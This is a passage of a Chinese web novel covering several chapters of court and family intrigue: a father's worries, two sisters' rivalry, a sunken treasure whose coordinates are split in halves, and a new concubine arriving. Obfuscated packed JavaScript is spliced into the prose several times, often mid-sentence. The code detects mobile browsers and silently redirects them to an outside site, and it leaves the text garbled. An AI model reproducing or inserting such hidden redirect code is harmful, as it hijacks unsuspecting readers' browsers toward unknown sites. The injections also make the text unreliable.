要是这点儿事儿他都能被气成这样,以后遇到更大的事儿该怎么办?这就是注定了的,是早晚的事儿。 他们这些人总说什么男子志在四方,要有远大的目标,可这目标太远、太大了,现在看来也不见得好,因为这中间变数太大,有很多事都不是人能控制得了的。 他夏庸当年被迫入局,他想的就是自己靠着楚家和端侯府让家族上一个台阶,等到将来,夏登云考取了功名,他再托夏登云一把,事情也就稳了。 他还没想过自己或是自己的儿子可以封侯拜相,他是个务实的人,清楚一介寒门子弟,很难通过一代人的努力就能跟楚霆孝或是老端侯、华靖离这样的人抗衡。 可现在看看,一切都变了,李玦的野心显然比从前的老端侯大,楚家也大有借着陆家之势更上一层楼的想法,而他们夏家,夏登云却比他预料中的要弱上很多。 夏登云的长相像他,性子谁也不像,他为人太过清白、书生意气,不像楚家人有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097546|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谋略、有狠劲儿,也不像他虽然没有多少真本事,却圆滑、事故。 哪怕夏登云能像他呢,能借着自己的家族和外家在各方势力中间游走也行,可是夏登云就是个愣头青,他现在那两下子连刚正不阿都不是,就是傻愣傻愣的。 夏家后嗣如此,就算他现在再生几个庶子出来,养大了也未必就能如人意,年纪上也是弱势的。 这种情况下,他争来斗去的,不仅可能一场空,还可能会害了夏登云。 毕竟即便到时候他主动退一步,说自己和夏登云别的都不要了,给夏登云要一个富贵闲差就行,可别人会相信他将来不会还要别的么? 不会的,这些人为了不把权势分出去,哪怕只是一个可能都要扼杀。 更何况他现在也开始反思一件事,要是像陆家那样先要在苦寒之地熬上二十多年,偷偷摸摸地在暗中积攒势力,把一大家子闹得不人不鬼的,最终即便成功了,值得么? 夏庸想到这里,已然面如菜色,到底上了年纪了,遇到这点风浪就得歇缓一阵子。 那把宝刀的事好在那还是一个物件,夏明月没有说出什么大逆不道的话,那么物件就还只是一个物件,还有解释的余地。 但愿李玦和她能把这事儿解释过去吧,告罪也好,找府里的人替罪也罢,也先别管袭爵的事儿了,先把这件事掩盖过去再说…… 从夏庸这儿出来之后,夏明嫣没立刻回钩翊侯府,她先去了朱老太太的院子,现在老太太住到庄子上去了,但院子还留着,她去帮忙叮嘱了几句,取了几件老太太要用的东西带走,才一出门却碰上了夏登云。 别说,这还真够巧的,她之前就想着让夏登云帮她做件事,只是他们姐弟间除了送亲那次,也没比陌生人熟悉多少,让底下的人来传话恐怕不太合适。 还得她亲自来说才行,没想到竟然这么巧,他们姐弟俩就这样碰上了…… 第432章阿弟,你来评评理 夏登云还是那副书生模样,挺着腰杆,头昂得高高的,别看已经快十五了,还跟个孩子似的,还像是一个喜欢装大人的小孩儿。 夏明嫣笑着走向这个“小大人”,互相见了礼之后,她先开口道:“婚仪之后还没见过阿弟,你近来在忙什么?” 御青书院的擢选除了已经有功名的学子可以参加,十五岁以下还没有功名的,也有机会通过遴选进去读书,相当于外门弟子,只是没有被书院直接推拒入朝为官的资格。 夏明嫣拿不准夏明月在帮李玦张罗的时候有没有替夏登云求一个名额,毕竟只是在书院下面的书塾读书的话,每年元京都要十几个人呢。只要争取,完全有可能。 夏登云难得领会了这层意思,他有些汗颜又不忿地道: “长姐是为我未能进入御青书院的书塾读书遗憾吧?我二姐根本就没给我张罗,不过她没张罗倒是好了。后来的事情闹得那么大,我要是去了,所有人都得知道我是托了关系的。” “我才不要去什么御青书院,显得我跟那些人是一边的似的。父亲已经是兵部尚书了,拉帮结派的,还更麻烦。我要靠自己,才不要她帮我。” 夏明嫣诧异地看了夏登云一眼,她没想到,夏登云跟夏明月的关系竟然真的淡漠到了如此地步。 虽说他们两个并不是同胞姐弟,连亲姐弟都不是,夏明月根本就不是夏家人,可毕竟在一座府邸里住了十五年,还是同一个母亲教养的。 这跟那些好些年才见一面的堂、表兄弟姐妹之间的关系比,都热络不了多少。 夏明嫣笑了笑,由衷地感谢道:“你能这样想也好,听说你书念的不错,将来是能考取功名的,那就不必都指望着这一头了。送亲那天,还要谢谢你,让我在这个家里也挣了一回面子。” “长姐,我这么说,你别生气。那天……我的确是真心为你送嫁的,可我想的是,二姐姐已经拥有很多了,我要是再偏向她,你该怎么办?” 夏登云一脸地感慨,显然对夏家的现状不太满意,“让别人看了去,夏家如此薄待先夫人之女,成什么样子?更何况那时候大姐夫重伤昏迷,他是为了大恒才被人刺杀的。” “要是我只能背一个人出去,那我定然要选择长姐你。更别说你们同一天出门子,弄得我只能做选择,归根结底都是她改了自己的日子。” 夏明嫣是奉旨冲喜成婚,但圣旨上可没说夏明月要什么时候出嫁,就连楚氏都觉得跟夏明嫣同一天太仓促了,可夏明月非要赶那一天。 这件事还直接导致了另一个后果,就是端侯府用了许多的山花替代了部分聘礼,谁让夏明月要仓促地嫁呢,聘礼上凑和了也就情有可原了。 夏明嫣点了点头,夏登云还算是通透,有些话她可以说了: “阿弟啊,你也知道,其实我跟夫人也好,跟你们姐弟也罢,算不上有什么仇怨,要是没人找我的茬儿,我也乐得平平顺顺地过日子,可是你二姐她……” 楚氏让女师在她身上动手脚的事儿,夏登云还不知道,看在他是个好孩子的份上,这事儿也就暂时没必要让他知道了。 而且就算夏登云不知道楚氏有没有具体对她做过什么,可平日里察言观色,总能看出楚氏处处都在防着夏明嫣。 这时候夏明嫣适时地露出一抹苦笑,一切尽在不言中,反而更让夏登云蹙了眉。 他的母亲和二姐这些年定然没少给他的长姐使绊子,甚至他长姐之前在卢阳老家待了这么多年,很可能根本就不是因为家里担心受到杨家的影响,毕竟圣上这么快就召蛊医回来了,那就是他母亲和二姐使的坏。 夏登云反而更加愧疚了:“长姐,我二姐她实在是不可理喻,你有什么为难的就直说。我去跟她说去,我们是同胞姐弟,很多话我都可以去说。” “她听了不高兴,就算要去母亲面前告状,我也不怕。这世上的事总有家里管不了也不会管的,没事,我为你和大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097547|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐夫主持公道,大不了我也去一趟元京府衙。” 这还真是个硬茬儿,夏明嫣利用他,心里多少会有点内疚,可仔细一想又释然了。 夏登云是夏家的独子,注定不能只缩在夏家不出来,他将来去念书、考功名也好,入仕途或者去经商打理家业也罢,就算他要做个富贵闲人,也是要时不时地办个清谈宴饮,跟人打交道的。 那些人当中定然也会有人想利用他的单纯和一腔热血帮他们自己达到目的,如何甄别善意还是恶意,如何防止被人利用……他早晚都是要学的。 况且她接下来要说的这些,只是对夏明月不利,最多再拉上一个楚氏,对整个夏家来说还是好事。 她调整了一下语气道:“你有这份心是好的,不过都是一家人,也不必让她太下不来台。她那个脾气,万一惹恼了她,恐怕她就要打到我们府上去了。” 夏登云再次保证,他一定主持公道:“你们成婚之后,二姐她是愈发不像话了,我在府里都听到她在外面办的那些事。长姐,你尽管说,你这是为了她好呢,没有什么不能说的。” 夏明嫣示意他往边上站站,借着廊子里的灯笼遮一遮他们的身形: “这些事儿你也知道,我愿意安分过日子,倒是她不断地找我和你大姐夫的麻烦。吕家那件事就算她是为夫心切,可她这对我予取予求的心思也不知道是哪儿来的。” “老实说,她跟我既非一母所出,我们又不是一处长大的,她跟我之间的姐妹之情还不如我跟老家二房的堂妹呢,她凭什么觉得我一定得让着她,还得牺牲夫家的亲戚帮着她,她有没有想过我在夫家的日子怎么过?” 见夏登云苦着脸连连点头,她叹了口气,把卖刀的事儿大概说了说, “……这件事她八成也要怪到我头上了,我当时把东西还给他,就只是因为这么贵重的礼物,我们夫妇收了不合适。也是想着,她大概也不容易,给了她,她还能压压箱底。” 第433章该拿出个态度了 夏明嫣眼中露出痛心之色:“端侯府既然干的出用山花充当聘礼的事儿,这府库里怕是没多少家底儿了。世子妹夫拿了这么厚的两份贺礼出来,打肿脸充胖子,我不能由着他这么干。” “我把东西私下给了二妹妹,也是为了让她到了紧急的时候有所倚仗,我也没想着她这时候就把东西给卖了。你大概还不知道,是在世子妹夫这回出事之前就卖了,世子妹夫很可能就是被这事儿给气的。” “这些东西再是给了她,也是端侯府的,多半还是他家老侯爷传下来的,我原本想着她要是到了不得不处置这些东西的时候,她怎么也给跟世子妹夫说一声吧。我怎么也想不到,她居然会……” 别的不用说了,只有一声叹息,这已经给夏登云留下了无限遐想。 夫妇一体,别说这东西原就是端侯府的东西,就算是夏明月自己的嫁妆,这么值钱,她要动用也得跟夫家打声招呼。 夏登云还是清醒的,他也听出了这些话里的另一重含义: “长姐,我明白了,这还不仅是礼数的问题,还关系到夫妻之间的信任。二姐夫跟大姐夫不一样,别看他从前宠着二姐姐,可一旦二姐姐触犯了他的权威,他就容不下她了。” “况且十万两不是一个小数目,那个胡商显然还压了价,这东西能卖出二三十万两的高价,显然还有别的意义。这回二姐姐可惹下大祸,不过无论如何都是她咎由自取,与长姐无关。” 果然,夏登云是个通透的,只是处事方法上不够圆滑,但在处理这件事上也算是有用的。 夏明嫣感慨地边点头边道:“我受些委屈倒是无所谓,我也不瞒你,我之所以跟你说这些话,的确不全是为了她好。我是担心这当中有些事儿会辱了夏家的门楣,会一辱俱辱,还会殃及池鱼。” “现在可不止是这几件事,你是男子,咱们夏家的内宅又向来和睦,许多事你可能意识不到。你想想,昨日的事要是宫里追究下来,就算你这二姐夫丢了爵位,你二姐姐也还能有安生日子过,毕竟她不能算是完全知情。” “可要是再加上一条不孝婆母、苛待亲族呢?你大概还不知道,当日公堂之上,因为何夫人将那孩子在外面安置了的事被揭穿,她死揪着何夫人不放,甚至当众跟何夫**打出手,连你二姐夫都被她抓伤了。” “那吕大姑娘的命固然重要,可在朝廷和那些高门眼中,吕大姑娘这个人并不重要。她这个人和这件事很快就会消失在大家的记忆里,你说,他们还会记得什么?” 夏登云只知道那日端侯府输了官司,虽说华靖离和夏明嫣定然也使了些手段,可总体上的结果是公正的。 他甚至觉得那是一件好事,至少李玦在背后做的那些虚伪至极的事也被揭露了,正好让他那个傻姐姐看看她一心想嫁的良人到底是个什么货色。 事情一出,他就被夏庸关在府里读书了,这些日子以来,他连书院都没有去,在外面被传了个遍的那些公堂上的细节,他几乎都不知道。偶尔听到一句半句的,他也以为是传话的人夸张了。 这会儿他听到这些细节,他简直惊呆了,虽说何夫人和李玦的所作所为都很可气,可夏明月竟然让自己形同泼妇、当众撕打自己的婆母和夫君,这无疑是在把自己置于险境之中。 夏登云几乎无法维持自己声音的稳定:“他们只会记得我二姐做过什么……” 男子三妻四妾,在外面添了个外室子,不是什么新鲜事儿,过一阵子,就算还有人提起,也不会怎样了。 夏明月却不一样,就算她将来成为了端侯夫人,这种事儿也会随时被人拿出去说道一番……不,别说当侯夫人了,就是降她做妾,都未必能行。 从礼教上轮,她犯的事儿不比何夫人轻多少,也可以把她送去清修,等到那时,她就连富贵、安生的日子都没有了。 夏明月又继续给他加了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夏登云白着脸,语气无比郑重地颔首:“长姐,我明白了,这事儿不能姑息。我们夏家不能有此等不仁、不孝的女儿,不能让我二姐姐影响了家族的声誉,还害了那些无辜的人。” “这件事就交给我去办,咱们夏家是该拿出些态度了。” 第434章命运就这样改变了? 只要宫里开始追究这件事,不光是夏登云,还有外头的所有人,他们很快就会想明白李玦就是夏明月害的,到时候夏明月还怎么活? 还有,他们长房的两个女儿都出嫁了,可二房还有一个庶女夏明绯没有出嫁。另外,还有一个嫡子夏通达今年在武举里考了一甲第五名,马上就要来元京了。 夏明月这么一折腾,首当其冲的就是夏明绯将来的婚事。都是夏家的女儿,出身名门、一路精心教养的夏明月尚且如此,夏明绯能好的了? 夏通达虽然是男子,可他刚刚才得了武举的功名,还没有分派官职,这时候上面对他但凡有一点不好的印象,都可能影响到他的前程。 虽说夏庸是兵部尚书,在自己亲侄子的前途上花点儿力气通融一下也不为过,可偏偏夏明月是他亲手教养起来的女儿,他都这么没脸了,自然不可能再在这个节骨眼上给自家人出力招眼。 这已经不止是他们长房的事儿了,必须得拿出个态度来,而且既然夏登云这么说了,就是要公然拿出个态度来。 夏明嫣没再说什么,她只是发现别看夏明月和夏登云没有血缘关系,可有一点还是挺像的。 何夫人东窗事发的时候,夏明月想让李玦立刻划清界限、表明立场,如今夏登云也是,可这两个人的目的到底是不一样的。 夏明嫣回了钩翊侯府,把刚才发生的时候都跟华靖离说了,华靖离感慨了一番,他们两个都没想到事情会往这个方向发展。 华靖离感慨地道:“李玦不是不知轻重的人,到现在了,都没站出来让外面的人知道他没事,就说明他这一病,病得重了,是真起不来了。” “他这样的恢复的几率有几成?恢复了以后,我看统领李家军是不行了,若是当个文官可还成?” 就像华靖离,刚一康复他就坐着马车在城里转了一圈,他这么做,就是要告诉所有人他没事了,华家军还是他的,他能做得了主。 而且华家军也好,钩翊侯的爵位和在北疆的势力也罢,都是已经在华家人手里多年的东西。 李玦的情况则更加微妙,他离袭爵只有一步之遥了,刚发生了何夫人的事,他极其需要一场北疆之行,为他拿到袭爵最后的筹码。 要是他还能好起来,哪怕上不了马了,只要他还能去北疆,熬出了资历,能讨个文职。只要圣上还想用他钓着那些海藏之宝,就得给他这个爵位。 只要爵位到手了,他依旧可以重建李家军,只不过他要另外扶植起一个能统兵打仗的人来统领李家军。他坐镇后方,还有翻盘的几率。 夏明嫣斟酌了一下,给了他一个思虑周全的答案:“我还没有看过他现如今究竟什么样子,不过你说的对,哪怕他现在站不起来,只要还能好得起来,怎么也该放出点风声来。” “到现在外面还安安静静的,就说明他这一气是真狠,只怕现在的轻狂不轻。” 都不说让他立刻站出去走走给人看,但凡他一个月内能站起来,能看到希望,他这时候都得让人把他没事的消息放出去。 现在这个局面,只能说明李玦恐怕没个一年半载,连端侯府的门都出不去了。 夏明嫣继续道,“他这个情况,就算让宫里的御医来治,将来恢复的时候小心谨慎,没有一点不妥的地方,或许能恢复到看起来差不多的情况。” “面容僵硬,跛脚,还容易摔倒……也不是不能做文官,只是做官多思多虑是必然的,他这身子就是一盏美人灯,是禁不起这些烦心事的。不出三年,就得把身子熬空了。” “之后非死即瘫,人就不成了。要想好,就得把这些繁杂之事都放下,以后就得养着。” 这身子,别说做官了,做买卖都不行,要是中间再出点纰漏,他就是出家,找个寺院清修去,都未必能把稳。 这病一旦得了,就一定得平心静气地养着,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105927|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能有半点刺激,更不能累着、冻着……总之,这人就算是废了。 他们想了那么多对付李玦的方法,没想到最后竟然是夏明月的无心之举把李玦推到了死路上。 华靖离不禁感慨,命运无常,李玦其实也是个可怜人,要不是生在这么一个家里,他也未必就不能在另一条路上拼出一个前程。 不过,他现在想的是另一件事:“老天爷让我们重生,是对你我都委以重任了。可现在李玦已经不中用了,你说这命运的走向难道就这样改变了?” 上一世南疆大乱导致整个大恒大乱,朝野纷争不止,以李玦和楚霆孝为首的势力崛起,继而又转变为孙允斌和李玦分庭抗礼,他们二人及背后的势力把持了朝政,新帝谢维成了彻头彻尾的傀儡。 而华靖离在南疆被李玦毒杀,李玦清除了华家军中众多不肯臣服于他的人之后,把所剩不多的华家军余部留在了南疆,以一种强势的姿态让他们融入李家军。 现在李玦不中用了,这场乱局初期崛起的两股势力瞬间去了一股,而且这里面还有一个至关重要的问题——海藏的那些价值连城的东西还没有拿出来。 要是李玦好好的,袭了爵,重建了李家军,他当然可以放心地把那些东西拿出来,跟楚、陆、夏三家共用。 可是他瘫了,他甚至连官都做不了了,即便圣上为了安抚他,把爵位给他了,他也就是个坐地的燕雀,飞不出端侯府的,他还能把那些东西贡献出来给这些人白用? 他但凡不傻,就做不出这样的事儿,那三家少了这笔钱财,还少了一个李家军,单靠陆家的那些人,人少还没钱……难道这事儿就这么结束了? 要是这样命运就改变了,也太容易了,他们重生就是为了这样? 夏明嫣轻轻摇了摇头:“咱们这才刚刚开始,还没动真格的呢,应该不会这么快结束。你看,南疆海里那些东西,现在为什么拿不出来?” 第435章被分开的坐标 华靖离沉声道:“没能拿出来,主要有两个原因,一是取出海藏宝藏的船只和器物现在还没有打造完成,就是你上回说的那种绞索,我找了老匠人和天牢里关着的那几个海匪看了看,他们又给完善了一下。” “这种绞索在用机关启动之后,配合上排水足够的大船,可以借助海水的浮力将下面的东西带上来,但这种绞索的打造不是光有工艺和精钢就可以了的。” “你想想,那些宝物究竟有多少,装在箱子里究竟有多大、多重,在海水里泡了二十年,究竟有什么变化,这些打造船只和绞索的工匠并没有亲眼见过,这里面就有很多变数。在这绞索的打造上,也就要花更多的功夫。” 二十年前把东西沉下去的那些**部分都已经处理干净了,就算还有在世的,什么东西沉下去二十年都会有变化。 铁器会生锈,装东西的木箱子会朽烂,这世上也没有能够完全防水的油纸和木箱,东西进了水,比原先重了不少,可究竟重了多少,没人能称量出来。 但凡要用到器物和机关的时候,都会涉及到这东西的重量、形状、体积,偏差大了,这器物和机关就得调整。 端侯府在那边定然有擅长潜游的人,可别说他们了,就算是那些工匠亲自潜游下去也不能把这些把握得太精准。 因此,那些个工匠要把打造好的绞索拿到海里去不断的试验,不行了就要调整,调整完还要重新打造……周而复始,直到成功。 华靖离继续道,“再者,他们做这些试验对着的还不是那些东西,应该是他们自己沉了些东西进去模拟的。我那天跟邓……” “你跟邓澜说过话啊,说什么了?你问她那些东西的位置了?她告诉你了吗?她应该不会轻易告诉你,毕竟那是他们父女保命的最后手段,她有没有跟你提什么要求?” 夏明嫣自己都不知道现在的她两眼发亮,她很好奇,但同时心里也不由得升起了一种忌惮。 邓澜身子弱,难生养,长相上虽比不得她和夏明月明艳,却是温婉得自有一番风韵,关键是她的性子好,遇到什么事儿都柔柔弱弱、不疾不徐的,关键是她骨子里是刚毅的,真正的外柔内刚。 像邓澜这样的人,乍一看不眨眼,可是相处久了,许多男人都会离不开这样柔情似水的贤内助。 夏明嫣觉得自己有十足的理由去怀疑华靖离有一天会看上邓澜,尤其是邓澜为了她父亲,说不准就会借着透露那些东西的位置,问华靖离要一个保障。 有什么比真正成为华靖离的女人,甚至生下他的子嗣,得到的保障更大呢? 她嘴上说不在乎,心里却越来越在乎,可是她也懂得什么是以大局为重,为了大局,似乎她不该这么在乎才对。 华靖离多看了她几眼,才想明白她的小脑袋在想什么,他不禁失笑道: “想什么呢,我最受不了那种柔柔弱弱、风一吹就倒的女人,你不觉得她说话的时候,一句话能拐好几个弯儿么?我说的是,我跟邓父,就是她父亲,说了几句。” “她父亲倒是挺开诚布公的,给了我几个位置,确切的说是牵星板定位的坐标,并不完整。只是一部分,还是不完整的。” “你是说,他们现在只能确定部分沉船的位置?”夏明嫣倒是没想到这一点。 华靖离轻叹了一声:“比这个还要糟,这就像是我们脚上穿的鞋,是分左右脚的。他提供的这一部分坐标,确切的说只是一半,缺了另一半。” “我问过他,其实他也不是很懂,之前也觉得有问题,可他也不敢四处问别人,就只能自己把那些数字和方位记下来。他还说了,当时还有人掌握了部分方位,只不过后来那人逃走了,这么多年没见,大概已经不在认识了。” “大概?”夏明嫣也拿不准。 她早就想过,沉东西的地方如此重要,不会都掌握在一个人手里,应该是分了几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110040|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人掌握的。 只是它没想到,这几个人并不是各自掌握了几个完整的坐标,而是每处沉船的位置只掌握了一半坐标。就像鞋分左右,一个人只有左边的那只鞋,没有右边的那一只,这个人就穿不了。 像华家军和北疆诸部,绝大部分都是步兵和骑兵,这些人虽说多数都是世代传袭下来的军户,但其实少有什么独门秘诀上的传承,这些人在天赋和体格上,也没有什么绝对的传承优势。 来这一类军中效力的,只要身体的基本条件能够达到要求,操练又不偷懒,只要不是奔着当名将和杀将去的,都能差不多。 可是那边儿能上船的这些海上部曲和船工却不一样了,他们对身体条件传承的要求更高。 换句话说,体格健壮的人经过训练,多数能做步兵和骑兵,但是这样的经过训练能不能上船,那是不一定的。 从医者的角度去解释,就是能长期上船的人在脑子和筋脉上跟一般的人不太一样,他们的平衡和防眩晕的能力要比一般人强。 而且他们多数的家族在造船和打造海上所用的器物方面都有传承,就算只当个渔民,他们想要干什么,纠集起一批亲朋好友,都能拉拔出一支队伍。 掌握坐标的人也是能上船的人,他们和他们的亲朋好友许多都有这样的天赋和传承,要是几个坐标都掌握在同一个人手里,这人拉拔出一拨人马,说不准就可以自己把东西取出来了。 虽说这些人轻易不会拥有端侯府手上那些工艺精湛的工匠,可大件儿的东西他们没能耐打捞上来,小件儿的总是有机会的。 尤其是,这些人一旦开始私自打捞,定然引起别人的注意,这人越聚越多,每人捞上几件来,损失也不小。万一再把朝廷或者常王的人招去了,那端侯府可就亏大了。 夏明嫣沉吟道:“他说掌握其他坐标的**概**,是因为这些人这些年都没有露面,也没有私自动过那些宝物?” 第436章夏家送了个侍女来 那几个掌握机密的人定然是有数的,谁活着、谁**还有谁活着却被人监视着,这些都是确定过的。 这人这么些年没有露面,海上那边又有端侯府的人盯着,显然他们也没有发现那几个人的踪迹。 面对这么大一笔财富,很难有人不动心,但这些人既没有私自去海上找那些东西,也没有在事情过去之后重新投奔主家,又这么多年过去了,这些人很可能已经不在人世了。 也不怪邓父会这样说,那些东西沉在深海当中,要是单个人或是他带上一小股人马去,用处都不大。 因为他们没有端侯府的这些工匠、人手和出入海上宛如无人之境的能力,他们知道海藏所在的地点,最多也就能侥幸打捞上来一两件儿东西,还容易被人盯上,遭遇不测……其实继续投奔主家才是明智的选择。 华靖离一番解释之后,总结道:“当年要么发生了什么变故,那些人都**,要么就是这当中有人起了异心,或是端侯府的人认为他们有了异心,将他们灭口了。” “邓伯父说,他是最早回来的,不知道后面的人是什么情况。他最初应该是最乖顺的一个,没什么心思,这些年装得疯疯傻傻、酗酒成性,连朝廷的密探都瞒过去了,这才被容下了。” 夏明嫣点头:“邓伯父也是不容易,不过,端侯府的人留着他,大概也是觉得他们毕竟是亲戚,还有一个邓澜在,把邓澜握在手里,他们就能掌控邓伯父。” “再有,虽说邓伯父不懂在海上如何判断方位,可他毕竟到过那个地方,周围有没有什么岛屿、景致,或是月影和礁石的角度,至少他是活着的人里少数几个知道的。” “他们留着他,大概也是想着等那边万事俱备了,得带上他去找,这样才好判断具体的方位。” 牵星术是一门在海上复杂的判断方位的技术,是有家传的,一般人几乎没有机会掌握。 邓父不懂这些很正常,这些年他装疯卖傻的,也不敢找人去问或是寻找书籍自学,他也就没发现他手里只有一半坐标。 可也正因为他没看透这一点,他自己的野心才没坐大,也间接地让何夫人和李玦还能容得下他。不然拿住邓澜威胁他,逼他说出坐标,再将他灭了口,也没什么做不出来的。 “还得再找找,看看当年还有哪些人知道,就算都没了活口,这些人若是被灭口了,心里不甘,也应该会留下点线索。” 华靖离这就打算把郭林叫进来商量一下,吩咐他派些人出去找线索,就听说夏家送了个侍女过来,让夏明嫣出去接一下。 夏明嫣跟华靖离对视了一眼,一开始都没想通夏家为什么送个侍女过来,一想通了,华靖离先就尴尬了,甚至连耳根子都红了。 也不管郭林还在呢,夏明嫣一时没忍住,伸手就拧了华靖离的耳朵,拧完了看了一眼很识相地转过身去的郭林,她脸上一红,立马松了手。 她哼笑了一声道:“看就看吧,没什么要避着人的,反正一会儿又要有新的小娘进府了。这是闻着味儿了,主动送人来了。” “我早就说了,咱们自己不把这位子占上,一准儿有人要往里塞。以后这府里的眼线多了,我就往这儿一坐,把她们都叫来,在这儿开个小会,都能顶上你家侯爷在书房议事了。” 华靖离在书房议事,来的是门客和朝中、华家军中的人,而这些安**府里的女眷的背后恰巧有那些敌对之人的身影,这两者虽然分属两个阵营,性质上却没有太大差别。 华靖离瞪了郭林一眼,示意他先别转过来:“别人送了人来,你也要怪我?还不是你要用人,才往我这儿塞人。你看看那个邓小娘,还有那个于什么的……于姑娘,都是你接进来的。” “现在外面都说我刚一痊愈就急着纳妾,骨子里是色中恶鬼。还说你救了我的命,我却要先让妾室生下庶长子,让你难堪。你说,我到哪儿说理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110041|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去?” 五日前,于杏儿终于到了元京,她就是楚氏真正的亲生女儿,夏登云的胞姐,当年楚氏让身边的人把她送走,寻个百姓人家抚养,却差点被楚霆孝派去的人处理掉,以绝后患。 之后阴差阳错地被霞姑姑送给了一个要远走贩货的商贾,被送到了一个渔村抚养。这姑娘的养父母算是渔村里的富户,因为自家只有三个儿子,没有女儿,对于杏儿视如己出。 于杏儿这些年过的日子、所受的教养虽然无法与高门和书香门第相比,却也被教得坚毅果敢、能识文断字。 她养父母家里虽是村中富户,可也跟元京的富户没法比,他们家的人也都是上船捕鱼、下地干活的,因此她被养成了一个泼辣、干练的姑娘,雷厉风行,甚至走路都带风。 于家原本日子还过得去,可是自从几年前于家二老在一次大风浪中意外过世,又赶上渔村被征用了建造码头,于家的日子就过不下去了,顺势就分了家。 于家二老生前曾经说过,要让于杏儿嫁给他们的小儿子,可于杏儿和这小儿子都把彼此当作真正的兄妹相处,这小儿子又瞒着家里有了心上人,自然不会跟于杏儿成亲。 后来事情就发展到于家包括于杏儿在内的四个孩子各自谋生去了,于杏儿在新修的码头旁边租了摊子卖鱼干,勉强还能糊口,日子过得一般,但也能衣食无忧。 要按照于杏儿的性子来说,她是不愿意来元京的,尤其是给人做妾,就是名震大恒的钩翊侯华靖离也不行,可是谁让她二哥身上出了件大事儿,被人陷害,还被当地的一个恶霸给扣住了。 夏明嫣派去的人抓住了这一点,帮他们解决了麻烦,还给她二哥找了份安生差事,给了那三兄弟一笔银子,才将于杏儿“买”了过来。 严格来说,原本派去的人都要放弃了,想着干脆给于杏儿定了工契,把人“雇”过来算了,谁知道于杏儿会主动把自己给“卖”了。 第437章于杏儿进府 于杏儿的表现把派去的人都弄蒙了,不知道怎么的这个原本坚决拒绝做妾的姑娘又突然改了主意,非但不再拒绝,还欣然接受,派去的人起了疑心,她还反过来上杆子地非来不可了。 结果等到了钩翊侯府,这个门口愿意做妾的渔村姑娘又唰地一下变脸了,说自己既不要做妾,也不做通房,想要做个女管事儿,还在夏明嫣面前毛遂自荐起来。 原本邓澜和于杏儿就不是真来做妾的,只不过妾室这个身份能把人名正言顺地藏在内宅,需要的时候也能带出去到场面上走走,万一遇上什么事儿了,没府里人在身边,对方看在她们是华家妾室的份上,也不能擅自处置她们。 妾室,对于她们来说是一重保护身份,并不是用来搓摩他们的,等将来事儿了了,大可以安排她们出妾,或是报给暴毙上去,给她们一个新身份。 其实,这样的安排尤其对于杏儿还要更有利些,毕竟从出身和教养上说,邓澜家业再败落,她也是跟在何夫人身边受教长大的,名门闺秀该有的规矩和在这个环境里该如何为人处事,她都是清楚的。 于杏儿虽然泼辣、聪慧,可她毕竟什么都没学过,让她现在才开始学,总得有个两三年才能上手。在这段时间里想抓她的错处很容易,有一个妾室的身份给她打掩护其实还更好些。 